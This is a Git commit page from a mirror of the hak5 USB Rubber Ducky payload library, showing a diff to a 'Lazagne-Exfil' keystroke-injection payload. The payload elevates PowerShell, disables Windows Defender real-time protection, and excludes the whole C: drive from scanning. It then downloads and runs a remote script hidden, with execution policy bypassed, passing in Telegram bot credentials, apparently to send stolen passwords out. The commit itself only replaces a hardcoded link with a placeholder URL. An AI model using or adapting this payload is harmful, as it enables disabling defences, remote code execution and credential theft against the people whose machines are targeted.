hak5
/
usbrubberducky-payloads
mirror of https://github.com/hak5/usbrubberducky-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update payload.txt 

https://github.com/hak5/usbrubberducky-payloads?tab=readme-ov-file#staged-payloads
pull/410/head
Mr. Proxy 2024-01-02 22:49:28 +01:00 committed by GitHub
parent 6b040e9cf2
commit 107bf5cf84
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
payloads/library/exfiltration/Lazagne-Exfil/payload.txt
View File

@ -7,6 +7,10 @@ REM Version: 1.0
REM Category: Exfiltration
REM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads
REM Remember you will have to host the powershell script yourself on any file sharing service (it has to be direct download link)
REM If you are using DropBox, just remember to change it from ?dl=0 top ?dl=1
DEFINE SCRIPT_URL example.download.link/payload.ps1?dl=1
REM Here you will have to put your telegram bot details
DEFINE BOT_TOKEN your-bot-token
DEFINE CHAT_ID your-chat-id
@ -14,7 +18,7 @@ DEFINE CHAT_ID your-chat-id
DELAY 1500
GUI r
DELAY 500
STRING powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='BOT_TOKEN'; $ci='CHAT_ID'; irm https://t.ly/-qlYd | iex'"
STRING powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='BOT_TOKEN'; $ci='CHAT_ID'; irm SCRIPT_URL | iex'"
CTRL-SHIFT ENTER
DELAY 1000
ALT y